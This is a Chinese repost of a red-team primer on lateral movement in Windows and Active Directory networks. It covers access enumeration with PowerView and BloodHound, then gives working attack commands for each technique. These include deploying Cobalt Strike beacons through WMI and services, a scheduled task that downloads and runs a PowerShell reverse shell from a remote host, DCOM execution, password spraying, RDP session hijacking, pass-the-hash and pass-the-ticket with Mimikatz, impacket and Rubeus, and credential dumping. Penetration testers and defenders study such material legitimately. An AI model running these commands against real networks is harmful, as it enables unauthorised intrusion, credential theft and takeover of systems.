![红队经典战术 -Windows 和 Active Directory 红队经典战术 -Windows 和 Active Directory](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/9-1719468034.gif)
介绍
MITRE 将横向移动定义为:
横向移动由对手用来进入和控制网络上的远程系统的技术组成。实现他们的主要目标通常需要探索网络以找到他们的目标并随后访问它。实现他们的目标通常需要通过多个系统和账户来获取收益。攻击者可能会安装自己的远程访问工具来完成横向移动,或者使用本地网络和操作系统工具的合法凭据,这可能更加隐蔽。
ATT&CK MITRE – 横向移动
简而言之,我们在横向移动阶段试图实现的是获取目标环境内其他系统的访问权限。
此阶段之前是权限提升阶段,这非常重要,因为我们将基于以下假设来采用所有技术:
-
我们已经获得了内部环境的访问权限;
-
我们拥有一个或多个用户的凭证材料;
-
我们(可选)通过未指定的方式获得了对一台或多台机器的提升访问权限。
图片取自:https://www.varonis.com/blog/cyber-kill-chain/
我们将要获得的技术和访问类型将取决于受感染用户的权限级别。
这篇博文的目的是创建一套全面的技术来回答以下问题:
-
我还能访问哪里?
-
我如何访问它?
所提供的示例将严重依赖 Windows 场景,因为(在撰写本文时)它们更为常见。
查找我们可以访问的地方
虽然从技术上讲这不是横向移动阶段的一部分,但我们需要获得适当程度的态势感知,以便我们了解我们还能访问哪些地方。
将使用以下一项或多项方式向 Active Directory 用户授予对通用资源的访问权限:
-
使用组策略对象将用户添加到本地组;
-
使用组策略将域用户添加到本地管理员组
-
在本地将用户添加到本地组。这可以使用
net.exe
实用程序或构建 VDI 黄金映像来实现; -
net localgroup Administrators HACKERriccardo /add
-
冒充在多个系统中使用相同密码的本地用户;
-
授予对文件共享的读取访问权限;
-
在 Active Directory 中配置访问控制列表 (ACL);
-
使用 AD 用户/组配置对 MSSQL 实例的访问;
当谈论当地团体成员资格时,我们最感兴趣的是成为以下团体的一部分:
-
Administrators
-
Remote Desktop Users
-
Remote Management Users
-
Distributed COM Users
本地组成员 – 盲目方法
为什么要采用盲法?因为我们要通过尝试访问来确定我们可以访问哪里。
这种方法的优点是:
-
这很简单
-
可以发现您的用户(或您所属的组)何时被手动和本地添加到本地组(而不是通过 GPO)
缺点:
-
可能会比较吵;
-
不能很好地在数千台机器上扩展;
确定我们是否具有远程计算机的本地管理员访问权限(因此我们是本地管理员组的一部分)的最简单方法是尝试C:使用以下命令列出驱动器的内容:
dir \<TARGET>C$
此操作是否成功将表明我们是否具有管理权限。成功目录列表的示例:
确定远程管理员访问权限的另一种快速方法是通过 WMI 使用以下 cmdlet:
powershell.exe Get-WMIObject -Class win32_operatingsystem -Computername TARGET
对域内的每一台机器重复上述过程可能会变得很繁琐(而且还会产生大量噪音)。可以使用 PowerView 的 cmdlet 自动执行此过程,Find-LocalAdminAccess该 cmdlet 将仅输出当前域内当前用户具有管理员权限的机器(除非您指定另一个域作为目标)。
上述 cmdlet 使用的技术与之前展示的技术类似,因此操作员可以选择适合具体情况的最佳技术。
回想一下我们感兴趣的本地群组,我们将使用所描述的方法来涵盖该Administrator群组的成员资格。但是其他的呢?
对于Remote Management Users,我们可以做的只是使用 cmdletInvoke-Command并查看是否能够在远程机器上执行命令:
Invoke-Command -Computername TARGET -ScriptBlock {whoami}
请注意,管理员组的成员也可以使用上述命令执行命令。
对于Remote Desktop Users,我们可以尝试通过 RDP 连接。我们确信我们可以跳过该演示!
最后但同样重要的一点是,Remote COM Users可以使用我们将很快描述的一种 DCOM 技术来验证成员资格。
本地组成员身份 – 组策略对象
可以使用组策略对象和受限组将域用户添加到本地组。默认情况下,所有 GPO 对象都可以由域内的任何经过身份验证的用户读取,因此我们可以解析所有 GPO 的内容并查看哪个 AD 主体被推送到本地组。然后,我们可以跟踪 GPO 并查看应用了受影响 GPO 的所有组织单位 (OU)。
与之前的方法相比,这种方法的扩展性更好,并且还会生成一些警报/日志。
可以使用多种工具来分析 GPO 并查找本地组成员身份:
-
PowerView
-
BloodHound
可以PowerView使用Get-NetGPOGroup cmdlet 获取配置本地组的所有 GPO:
我们是这些团体中的一员吗?whoami /groups将会告诉你。
我们可以使用 BloodHound 来加速这一过程。BloodHound 将采用混合方法,并尝试执行 GPO 分析和远程本地组枚举。必须注意的是,枚举远程系统的本地组需要本地管理员权限。在检测不是练习的一部分的情况下,最好的方法是运行SharpHound(BloodHound 数据提取器)模拟您拥有凭据的所有用户。
当使用 Bloodhound 时,以下节点关系将对应于本地组成员身份:
猎犬关系 | 本地群组成员 |
---|---|
CanRDP |
Remote Desktop Users |
AdminTo |
Administrators |
ExecuteDCOM |
Remote COM Users |
CanPSRemote |
Remote Management Users |
关于 BloodHound 的唯一补充是它目前不收集会员资格。要做到这一点,你应该在这里Remote Management Users构建我的 SharpHound 分支,或者希望它最终能合并到主分支中。
访问文件共享
我不会在接下来的部分上花费太多时间,因为它们是否可以归类为横向移动技术还有待商榷。
访问文件共享,简单地说就是授予我们入侵的用户/用户读写权限。这里的目标是能够找到敏感数据,例如可用于访问其他系统的身份验证凭据。
枚举远程系统上的文件共享的最简单方法是使用以下命令:
net view TARGET
为了验证我们从远程共享读取的能力,我们可以使用dir如下所示的命令:
可以想象,对于拥有超过 1000 台机器的中型公司来说,对每个域机器重复此过程很快就会变得不可行。
PowerView Invoke-ShareFinder将自动执行该过程并尝试列出域内的所有共享。该-CheckAccess标志还可用于确定当前用户可以读取或写入的位置。
识别所有相关共享后,就可以在其中搜索敏感数据。PowerView 还可以通过 cmdlet 提供帮助Find-InterestingFile。
访问控制列表
Active Directory 是一个复杂的系统,让我们尝试以最直接的方式解释 ACL 的概念。从本质上讲,AD 是一个对象数据库。对象可以是:
-
用户
-
电脑
-
群组
-
组织单位
-
组策略对象
对这些对象的访问由访问控制列表 (ACL) 控制。ACL 是访问控制条目 (ACE) 的列表。每个 AD 对象都有一个 ACL,用于确定谁可以对该对象执行某些类型的操作。
例如,如果用户 A 可以强制重置用户 B 的密码,那么在用户 B 的 ACL 中我们会发现类似这样的内容:
为什么 ACL 对横向移动很重要?因为如果我们通过错误配置的 ACL 攻陷了对其他 AD 主体具有某种控制权的用户,那么我们就可以横向移动并攻陷受影响的对象。
这篇文章的目的不是深入探讨 ACL 滥用,推荐阅读《袖子里的王牌 – SpectreOps》https://www.specterops.io//assets/2019-10-04-lateral-movemen-megaprimer/resources/an_ace_up_the_sleeve.pdf(请注意,一些计算机对象接管的案例没有出现在白皮书中,因为它们是在文档发布后发现的)。
这里的要点是:收集 ACL 并确定您的用户是否可以控制另一个 AD 对象。
BloodHound 是这项任务的事实标准。前面提到的关系的一个示例如下(使用 neo4j 浏览器):
MSSQL 访问
可以配置 MSSQL 服务器以使用 Active Directory 凭据对用户进行身份验证。可以使用该PowerUpSQL实用程序发现域内的所有 MSSQL 服务器并尝试访问它们。
使用以下 cmdlet 可以识别域中的所有 SQL 服务器实例:
Get-SQLInstanceDomain -Verbose
可以将上一个命令导入到另一个 cmdlet 中,我们将使用该命令测试访问服务器的能力:
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
SQL 服务器的权限和后期利用超出了本文的讨论范围,接管的方法是使用您入侵的其中一个帐户,您可能能够登录支持 AD 身份验证的 SQL 服务器。
从那里可以实现的目标有:
-
数据挖掘以查找敏感信息;
-
提升权限并获得操作系统级别的命令执行;
-
抓取数据库链接来查看我们是否可以访问其他数据库。
现在我们应该对网络环境中的访问级别有了很好的了解。请务必记住对所有被入侵的帐户重复上述所有检查。
有了这些知识,我们就可以开始探索各种技术来访问我们之前确定的资源。
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
是的 | Administrators |
不适用 |
可以使用 Windows 管理规范 (WMI) 在远程计算机中创建进程。语法非常简单,如下所示:
wmic /node:TARGET process call create "notepad.exe"
仅仅启动远程进程可能还不够,我们想要控制目标机器。例如,我们可以将 Cobalt Strike(或 Covenant)SMB 信标上传到目标工作站,然后使用 WMI 执行它:
shell copy smb-beacon.exe \TARGETC$windowstemp
shell wmic /node:TARGET process call create “c:windowstempsmb-beacon.exe”
link TARGET
该命令link TARGET特定于 Cobalt,用于连接到 SMB 信标打开的命名管道(应该使用 Covenant connect)。
这不是发射信标的唯一方法,例如,您可以使用各种单行代码而无需接触磁盘。这同样适用于以下所有技术。
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
是的 | Administrators |
不适用 |
可以使用sc.exe以下实用程序在远程计算机中创建服务:
copy smb-beacon.exe \TARGETC$windowstemp
sc \TARGET create TestService binpath= "C:windowstempsmb-beacon.exe"
sc \TARGET start TestService
# from cobalt
link TARGET
# clean
sc \TARGET delete TestService
该概念与 WMI 示例类似,我们将 SMB 信标上传到目标机器并创建执行该信标的服务。必须注意的是,此技术使用的信标应该是服务可执行文件,而不是常规信标。
远程桌面协议
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
不 | Remote Desktop Users |
T1076 |
如果您是远程系统内群组的一部分Remote Desktop Users,则您可能能够使用 RDP 登录目标系统。
在 BloodHound 中,使用 RDP 登录的能力由连接器表示CanRDP。
一个简单的密码查询来查找所有可以通过 RDP 访问其他机器的用户:
MATCH p=()-[:MemberOf*0..]->(g:Group)-[r:CanRDP]->() RETURN p
如果使用 neo4j 浏览器进行可视化,它将出现类似以下内容:
显然,查询应该进行调整,以仅包含我们实际攻击的用户:
MATCH p=({owned: true})-[r:CanRDP]->() RETURN p
PowerShell 远程处理
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
不 | Remote Management Users ,Administrators |
T1028 |
可以使用以下 cmdlet 通过 PS Remoting 获取交互式 PowerShell 提示符:
Enter-PSSession -Computername TAGRET
可以以类似的方式执行命令块Invoke-Command:
Invoke-Command -Computername TARGET -ScriptBlock {whoami /priv}
任务计划程序
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
是的 | Administrators |
不适用 |
schtasks /create /S TARGET /SC Weekly /RU "NT AuthoritySYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1''')'"
使用了以下参数:
-
/S TATGET指定远程服务器
-
/SC Weekly设置任务执行的间隔
-
/RU远程任务将以哪个用户身份运行
-
/TN任务名称
-
/TR要执行的命令
为了运行之前创建的任务,可以使用以下命令:
schtasks /Run /S TARGET /TN "STCheck"
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
是的 | Administrators |
不适用 |
要了解 PsExec 的具体工作原理超出了本文的范围,可以在这里找到一个很好的参考。
为了使用 PsExec 执行命令,必须满足以下先决条件:
-
File and Printer sharing 必须启用;
-
共享ADMIN$应该可用。
要使用 PsExec 启动交互式 cmd 提示符,可以使用以下命令:
psexec.exe -accepteula \TARGET cmd.exe
分布式COM
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
不 | Remote COM Users ,Administrators |
T1175 |
MITRE 对 DCOM 给出了最简单的解释:
Windows 分布式组件对象模型 (DCOM) 是透明中间件,它使用远程过程调用 (RPC) 技术将组件对象模型 (COM) [1] 的功能扩展到本地计算机之外。COM 是 Windows 应用程序编程接口 (API) 的一个组件,它支持软件对象之间的交互。通过 COM,客户端对象可以调用服务器对象的方法,服务器对象通常是动态链接库 (DLL) 或可执行文件 (EXE)。
使用 DCOM 作为横向移动技术意味着我们通过 RPC 访问 DCOM 接口。DCOM 接口将绑定到远程系统上的 COM 对象。如果我们找到合适的 DCOM 接口来公开代码执行函数,我们可能能够使用这些函数进行横向移动。
幸运的是,许多研究人员已经为我们完成了繁重的工作,并找到了多个适合我们需求的 DCOM 对象。通过 DCOM 公开有趣功能的 Windows 应用程序的一个示例是 MMC 应用程序。
下面可以看到如何使用远程计算机上的 MMC 应用程序执行命令:
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","TARGET"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:fromdcom.txt","7")
此方法是由 Matt Nelson (enigma0x3) 在他的文章《使用 MMC20.Application COM 对象的横向移动》中发现的。
-
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
此后,研究人员又发现了许多其他合适的 DCOM 对象。Cybereason 在其文章《新的横向移动技术滥用 DCOM 技术》中维护了一个很好的集合。
-
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
默认情况下,只有管理员组的成员才有权远程访问 DCOM 对象。但是,有时该组的成员也Remote COM Users能够使用 DCOM 远程执行代码。
使用 BloodHound,我们可以通过使用以下密码查询查看所有可以使用 DCOM 执行代码的机器:
MATCH p=({owned:true})-[:MemberOf*0..]->(g:Group)-[r:ExecuteDCOM|AdminTo]->() RETURN p
密码喷洒
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
不 | 不适用 | T1110 |
在密码喷洒攻击中,我们要做的是使用一两个密码(通常是非常常见的密码,如 Password123)尝试以域内的每个用户(或其中的子集)身份登录。
可以用来自动执行上述过程的便捷的 PowerShell 脚本是DomainPasswordSpray。
下图中可以看到使用密码的成功密码喷洒攻击1Qazxsw2..,这是一种常见的键盘运行:
需要注意域帐户密码锁定阈值,以避免锁定帐户并造成中断(当然我过去做过这样的事情)。
文件夹重定向和漫游配置文件
在虚拟化或 VDI 环境中,遇到文件夹重定向和漫游配置文件的概念是很常见的。
简而言之,这些技术允许系统管理员为用户的文件夹(如文档、下载等)配置共享位置。这样,如果用户使用两台不同的机器登录(想象一下被破坏的 VDI),他们仍然可以访问他们的文档并无缝工作。
我们感兴趣的是找到用于文件夹重定向或漫游配置文件的所有共享,并确定我们是否可以写入它们。由于它们可能是常规文件共享,我们应该已经在初始侦察阶段识别它们。然而,除了查找敏感信息外,我们还对攻击用户进行横向移动感兴趣。
可用于实现横向移动的技术如下:
-
后门 EXE(如果有);
-
删除特殊文件(如 URL 或其他特殊文件类型),这些文件将触发与我们控制的目标的 SMB 连接,以便破解或中继随连接尝试发送的身份验证详细信息。
您可以在此处找到有关允许强制进行 SMB 连接的特定文件类型的良好参考。
-
https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html
以供参考:
Microsoft – 文件夹重定向、脱机文件和漫游用户配置文件概述
-
https://docs.microsoft.com/en-us/windows-server/storage/folder-redirection/folder-redirection-rup-overview
BlackHills InfoSec – 如何利用弱 NTFS 权限
-
https://www.blackhillsinfosec.com/how-to-take-advantage-of-weak-ntfs-permissions/
Living off the land:窃取 NetNTLM 哈希
-
https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html
RDP 劫持
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
是的 | Administrators |
不适用 |
在极少数情况下,如果您获得了其他人通过 RDP 登录的服务器的高级访问权限,则可以在不知道其凭据的情况下控制他们的 RDP 会话。这种攻击也称为 RDP 劫持。
从提升的上下文(在本例中我在本地使用 PsExec)运行以下命令来识别所有活动会话:
query user
我们从 ID 为 1 的会话开始,并且我们想要访问 ID 为 2 的会话。
为了访问其他会话,我们需要使用以下命令创建一个新服务:
sc create sessionhijack binpath= "cmd.exe /c tscon 2 /dest:rdp-tcp#7"
net start sessionhijack
让我们分解一下我们使用的命令:
-
该tscon值应该是我们想要控制的会话的ID;
-
该/dest值应该是我们当前会话的会话名称。
执行上述命令后,我们成功控制了目标会话:
必须注意的是,这种技术有非常具体的用例,事实上,即使没有 RDP 劫持技术,仍然有可能转储目标用户的凭据,冒充他们并访问我们感兴趣的资源。当目标用户正在执行某种敏感活动时,RDP 劫持是一种有用的技术。此类活动的一个例子可以是访问受 2FA 保护的受限应用程序。
更详细的参考资料:
所有 Windows 版本均支持无密码 RDP 会话劫持功能
-
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
RDP 劫持——如何透明地劫持 RDS 和 RemoteApp 会话以在组织内移动
-
https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
横向移动 – RDP
-
https://pentestlab.blog/tag/rdp-session-hijacking/
传递哈希
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
是的 | Administrators |
T1075 |
传递哈希 (PtH) 是一种攻击者使用用户密码的哈希版本访问远程资源的技术。这是由于 NetNTLM 协议用于网络身份验证的方式而实现的。简而言之,在 NetNTLM 中永远不会使用用户的明文密码,而只会使用其 NTLM 哈希。
解释 NetNTLM 的工作原理超出了本文的范围,以下是一些有助于理解它的参考资料:
-
byt3bl33d3r – 2017 年 NTLM 中继实用指南(又称在 5 分钟内立足)
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
-
Péter Gombos——LM、NTLM、Net-NTLMv2,天哪!
https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4
为了执行 PtH 攻击,我们需要远程计算机本地管理员的 NTLM(不是 NetNTLM!)哈希。最常见的情况是默认本地管理员的密码在所有计算机之间共享,我们设法提升了权限并从系统中提取了该密码。
再次强调,提取密码或哈希值超出了这里的范围,但可以在这里找到示例:MITRE – Credential Dumping – T1003。
-
https://attack.mitre.org/techniques/T1003/
假设我们现在获得了远程机器的本地管理员的 NTLM 密码,我们如何使用这些哈希值?
Mimikatz
sekurlsa::pth /user:.localadmin /ntlm:HASH /run:cmd.exe
dir \TARGETC$
impacket
这里我会非常简短地介绍,因为 Impacket 有太多工具,需要单独发一篇文章。在几乎任何 impacket 工具(等)中,psexec.py,wmiexec.py都可以提供-hashes选项并执行 PtH 攻击。
例如:
secretsdump.py -hashes LM:NTLM ./Administrator@TARGET
xfreerdp
可以执行 PtH 攻击并使用远程桌面 (RDP) 访问系统。此攻击只能针对运行特定版本的 Windows 的目标进行,例如:
-
Windows Server 2012 R2
-
Windows 8.1
为了执行攻击,可以使用以下xfreerdp实用程序:
xfreerdp /u:admin /d:. /pth:hash:hash /v:TARGET
参考:
传递哈希值——重复使用哈希值
-
https://sushant747.gitbooks.io/total-oscp-guide/pass_the_hash_-_reusing_hashes.html
用户账户控制和用户权限分配
假设你尝试了 Pth 攻击,但没有成功,而且你确定凭据是相同的。这是怎么回事?PtH 有问题吗?
也许在阅读一些 PtH 补救措施时,您遇到了类似这样的设置。该选项是一组称为用户帐户控制 (UAC) 的设置的一部分,它们定义了远程登录用户生成的进程的LocalAccountTokenFilterPolicy权限数量和完整性级别。
简而言之,完整性级别是一种额外的访问控制限制,可防止具有较低完整性级别的进程与具有高完整性级别的进程进行交互。一个常见的例子是,lsass.exe以高完整性级别运行的进程,如果您不提升您的访问权限,即使使用管理员帐户(UAC 提示 😉 ),您也无法转储其内存。
下表描述了我们感兴趣的 UAC 设置以及它们如何影响 PtH 攻击:
启用LUA | LocalAccountTokenFilterPolicy | 过滤器管理员令牌 | 影响 |
---|---|---|---|
0 | 不适用 | 不适用 | 可以使用本地管理员组或 RID 500 帐户的两个成员来执行 PtH。 |
1 | 0(默认) | 0(默认) | 仅可使用默认 RID 500 帐户执行 PtH |
1 | 0 | 1 | 抱歉,没有 PH |
1 | 1 | 0 | 可以使用本地管理员组的任何成员执行 PtH |
UAC 设置可以在本地配置(例如 VDI 黄金映像),也可以通过 GPO 配置。
在本地系统中,该工具Seatbelt可用于枚举 UAC 设置:
Seatbelt.exe UACSystemPolicies
要使用 GPO 枚举 UAC 设置,可以使用以下 powerview 扩展:PowerView-with-RemoteAccessPolicyEnumeration.ps1。
-
https://github.com/FSecureLABS/gists/blob/master/PowerView-with-RemoteAccessPolicyEnumeration.ps1
与我们的横向移动目的相关的另一组 Windows 设置是用户权限分配 (URA)。URA 是用于在用户登录系统后为其分配权限的设置。官方参考资料可在此处找到:Microsoft – 用户权限分配。
我们感兴趣的权限是:
-
SeDenyNetworkLogonRight,拒绝远程登录的能力;
-
SeDenyRemoteInteractiveLogonRight,拒绝使用 RDP 远程登录。
尝试访问将上述设置应用于您用来执行攻击的用户的远程系统将不会成功。
要更全面地了解这些设置,请阅读F-Secure Labs – 通过 GPO 枚举远程访问策略。
-
https://labs.f-secure.com/blog/enumerating-remote-access-policies-through-gpo/
越过哈希
需要管理员 | 本地群组成员 | 攻击ID |
---|---|---|
不 | 不适用 | 不适用 |
Overpass-the-Hash 是一种技术,允许攻击者冒充任何已破解 NTLM 密码哈希的 Active Directory 用户。虽然 PtH 依赖于 NTLM,但 overpass-the-hash 技术仅使用 Kerberos 协议。
为了执行超越哈希攻击,可以使用Rubeus:
Rubeus.exe asktgt /user:HACKERrancarani /rc4:NTLM_HASH /ptt
该命令将使用提供的凭据向当前域控制器请求用户的 TGT。要验证票证是否已正确获取并加载到内存中(不需要本地管理员,而使用 Mimikatz 的 PtH 则需要):
klist
传递票证
需要管理员 | 本地群组成员身份 | 攻击 ID — | — | — 是 | 不适用 | T1097
如果我们获得了系统的高级访问权限,那么就可以从主机内存中提取所有 Kerberos 票证。例如,Rubeus可以使用以下命令转储所有 kerberos TGT 票证:
Rubeus.exe dump /service:krbtgt
上图显示的 base64 blob 是可用的票证,可以与以下命令一起使用:
Rubeus.exe ptt /ticket:BASE64_BLOB
完!
Lateral Movement - Windows and Active Directory
https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#password-spray
感谢您抽出
![红队经典战术 -Windows 和 Active Directory 红队经典战术 -Windows 和 Active Directory](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/2-1719468049.gif)
.
![红队经典战术 -Windows 和 Active Directory 红队经典战术 -Windows 和 Active Directory](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/6-1719468049.gif)
.
![红队经典战术 -Windows 和 Active Directory 红队经典战术 -Windows 和 Active Directory](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/2-1719468049.gif)
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):红队经典战术 -Windows 和 Active Directory